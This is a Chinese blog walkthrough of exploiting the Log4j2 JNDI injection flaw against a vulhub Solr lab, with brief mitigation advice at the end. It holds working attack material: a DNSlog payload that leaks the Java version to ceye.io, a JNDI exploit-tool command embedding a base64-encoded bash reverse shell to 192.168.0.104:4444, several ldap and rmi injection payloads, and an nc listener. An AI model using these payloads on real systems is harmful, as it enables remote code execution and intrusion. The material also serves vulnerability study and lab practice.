log4j2漏洞简单复现

0x1 log4j2漏洞简介

log4j2原理:

log4j2框架下的lookup服务提供了{}字段解析的功能,传进入的值会被直接解析,jdni服务就会请求远程的服务链接到本地对象,比如rmi和ladp。这时候服务端只要在{}里面调用jndi服务,即可反弹shell到指定服务器中。

0x2 log4j2漏洞验证判断

利用vulhub靶场进行复现

找到靶场的注入点,我们可以发现/solr/admin/cores?这里有个参数可以传参数

利用dnslog构造pyload来判断是否存在log4j漏洞,我这里用dnslog为ceye.io

构造的pyload:
cores?action=${jndi:ldap://${sys:java.version}.i913n8.ceye.io}

利用截图:

请添加图片描述

漏洞严重成功截图:

请添加图片描述

存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在ceye.io那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号

0x3log4j2漏洞复现利用

github上一个jndi注入工具:链接如下

https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
利用整体步骤:
1.生成shell,并将shell编码成base64
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104" 
2.利用jndi工具得到注入pyload
 ${jndi:ldap://192.168.0.104:1389/bdy3jf}
3.利用nc监听shell端口
nc -lvvp 4444
4.发送生产的pyload
cores?action=${jndi:ldap://192.168.0.104:1389/bdy3jf}
5.得到shell

1.生成shell,并将shell编码成base64

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.104" 
参数说明:
base64编码反弹shell脚本。-A参数接vps地址

开始漏洞利用,首先我们构造反弹shell用到的命令:

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
例如:
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1

请添加图片描述

2.利用jndi工具得到注入pyload

请添加图片描述

得到注入的pyload,如果反弹不成功,可以多试用几个pyload:

${jndi:rmi://192.168.0.104:1099/bdy3jf}
${jndi:ldap://192.168.0.104:1389/bdy3jf}

${jndi:rmi://192.168.0.104:1099/h8unbv}
${jndi:ldap://192.168.0.104:1389/h8unbv}

${jndi:rmi://192.168.0.104:1099/x3i6jm}

3.利用nc监听shell端口

nc -lvvp 端口
例如:
nc -lvvp 4444

nc监听的端口则是,反弹shell设置的端口

请添加图片描述

4.发送生产的pyload
cores?action=${jndi:ldap://192.168.0.104:1389/bdy3jf}

请添加图片描述

5.得到shell

jndi注入工具又回显

请添加图片描述

反弹成功的shell

请添加图片描述

0x04 log4j2漏洞修复方式

1.升级版本

2.临时方案

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
  • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  • 部署使用第三方防火墙产品进行安全防护。
  • 4
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1dm

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值